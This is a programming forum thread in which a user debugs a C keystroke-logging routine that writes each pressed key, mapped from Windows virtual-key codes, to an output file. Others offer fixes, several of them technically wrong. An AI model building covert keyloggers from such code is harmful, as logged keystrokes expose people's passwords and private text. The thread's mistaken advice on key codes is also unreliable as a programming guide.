I am trying to capture keystrokes, and have been able to for all letters, and numbers, but i cant capture keystrokes such as ' ;, @, -, _, +, =' e.t.c.

I have tried looking up their decimal code from the ASCII table, but that does not work. In the code below, it all seems to work apart from trying to record a decimal point '.'

if (key_stroke == 8)
			fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
        else if (key_stroke == 13)
			fprintf(OUTPUT_FILE, "%s", "\n");
		else if (key_stroke == 46)
			fprintf(OUTPUT_FILE, "%s", ".");
		else if (key_stroke == VK_CAPITAL)
			fprintf(OUTPUT_FILE, "%s", "[CAPITALS]");
        else if (key_stroke == 32)
			fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              
			fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
			fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
			fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        else if (key_stroke == VK_ESCAPE)
			fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        else if (key_stroke == VK_END)
			fprintf(OUTPUT_FILE, "%s", "[END]");
        else if (key_stroke == VK_HOME)
			fprintf(OUTPUT_FILE, "%s", "[HOME]");
        else if (key_stroke == VK_LEFT)
			fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        else if (key_stroke == VK_UP)
			fprintf(OUTPUT_FILE, "%s", "[UP]");
        else if (key_stroke == VK_RIGHT)
			fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        else if (key_stroke == VK_DOWN)
			fprintf(OUTPUT_FILE, "%s", "[DOWN]");
         else if (key_stroke == 190 || key_stroke == 110)
			fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

Does anybody have any way to record the keys outlined above?

Thanks,
MATLAB2007

think about how you print those keys with your keyboard try adding shift and the base key
ie

shift && ; //which would yield :
so something like
VK_SHIFT && //whatever the ascII is for semicolon and repeat for others

think about how you print those keys with your keyboard try adding shift and the base key
ie

shift && ; //which would yield :
so something like
VK_SHIFT && //whatever the ascII is for semicolon and repeat for others

Still does not seem to work, I have adapted the code to the following, in the hope of getting the symbol + (n.b. dec code for '=' is 61)

if (key_stroke == 8)
			fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
        else if (key_stroke == 13)
			fprintf(OUTPUT_FILE, "%s", "\n");
		else if (key_stroke == VK_SHIFT && key_stroke == 61)
			fprintf(OUTPUT_FILE, "%s", "+");
		else if (key_stroke == 61)
			fprintf(OUTPUT_FILE, "%s", "=");
		else if (key_stroke == VK_CAPITAL)
			fprintf(OUTPUT_FILE, "%s", "[CAPITALS]");
        else if (key_stroke == 32)
			fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              
			fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
			fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
			fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        else if (key_stroke == VK_ESCAPE)
			fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        else if (key_stroke == VK_END)
			fprintf(OUTPUT_FILE, "%s", "[END]");
        else if (key_stroke == VK_HOME)
			fprintf(OUTPUT_FILE, "%s", "[HOME]");
        else if (key_stroke == VK_LEFT)
			fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        else if (key_stroke == VK_UP)
			fprintf(OUTPUT_FILE, "%s", "[UP]");
        else if (key_stroke == VK_RIGHT)
			fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        else if (key_stroke == VK_DOWN)
			fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

im not too bothered about the fact it doesnt print the '+' symbol, but the fact the program does not recognise that I have pressed the '=' key

sorry i just realised key_stroke == VK_SHIFT && key_stroke == 61 wont work since key_stroke cant have two values

try VK_SHIFT && key_stroke==61

if that doesnt work try key_stroke==43

very sorry accidental double post :(

Neither of the suggestions you made work, I only get '[SHIFT]' displayed instead of the correct symbol.

I dont understand why its not even printing out the single key presses such as ';' or '#' (note, they dont require SHIFT).

Thanks
MATLAB2007

use { } to begin and end each if and else if statement
its easier to read and it helps cut down on errors.
when you go through your program are you hitting backspace at all before you hit shift && = ?
also is that in a loop?

because

int x=0;
cin>>x;
if(x==0)
cout<<"hello";//here no matter what if x=0; then every else if or else statement is skipped;
else
cout<<"however";//however if the user enters a number that is other that 0 then the else statement is executed but only only one

the backspace button can be pressed at any time during the program, just like the rest of the keys. I have put all if statements within braces to improve legibility:

if (key_stroke == 8){
			fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
	}
	else if (key_stroke == 13){
			fprintf(OUTPUT_FILE, "%s", "\n");
	}
	else if (key_stroke==43){
			fprintf(OUTPUT_FILE, "%s", "+");
	}
	else if (key_stroke == 61){
		    fprintf(OUTPUT_FILE, "%s", "=");
	}
	else if (key_stroke == VK_CAPITAL){
			fprintf(OUTPUT_FILE, "%s", "[CAPITALS]");
	}
	else if (key_stroke == 32){
			fprintf(OUTPUT_FILE, "%s", " ");
	}
	else if (key_stroke == VK_TAB){              
			fprintf(OUTPUT_FILE, "%s", "[TAB]");
	}
	else if (key_stroke == VK_SHIFT){
			fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	}
	else if (key_stroke == VK_CONTROL){
			fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
	}
	else if (key_stroke == VK_ESCAPE){
			fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
	}
	else if (key_stroke == VK_END){
			fprintf(OUTPUT_FILE, "%s", "[END]");
	}
	else if (key_stroke == VK_HOME){
			fprintf(OUTPUT_FILE, "%s", "[HOME]");
	}
	else if (key_stroke == VK_LEFT){
			fprintf(OUTPUT_FILE, "%s", "[LEFT]");
	}
	else if (key_stroke == VK_UP){
			fprintf(OUTPUT_FILE, "%s", "[UP]");
	}
	else if (key_stroke == VK_RIGHT){
			fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
	}
	else if (key_stroke == VK_DOWN){
			fprintf(OUTPUT_FILE, "%s", "[DOWN]");
	}
	else {
           fprintf(OUTPUT_FILE, "%s", &key_stroke);
	}

not sure on how to implement it but try using hex that may work

ie

a=0x61
that may work i dont know what your includes are so im not able to help much
not sure if you are able to post attachments but you can pm me for my email address
since i think db has a policy or something.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.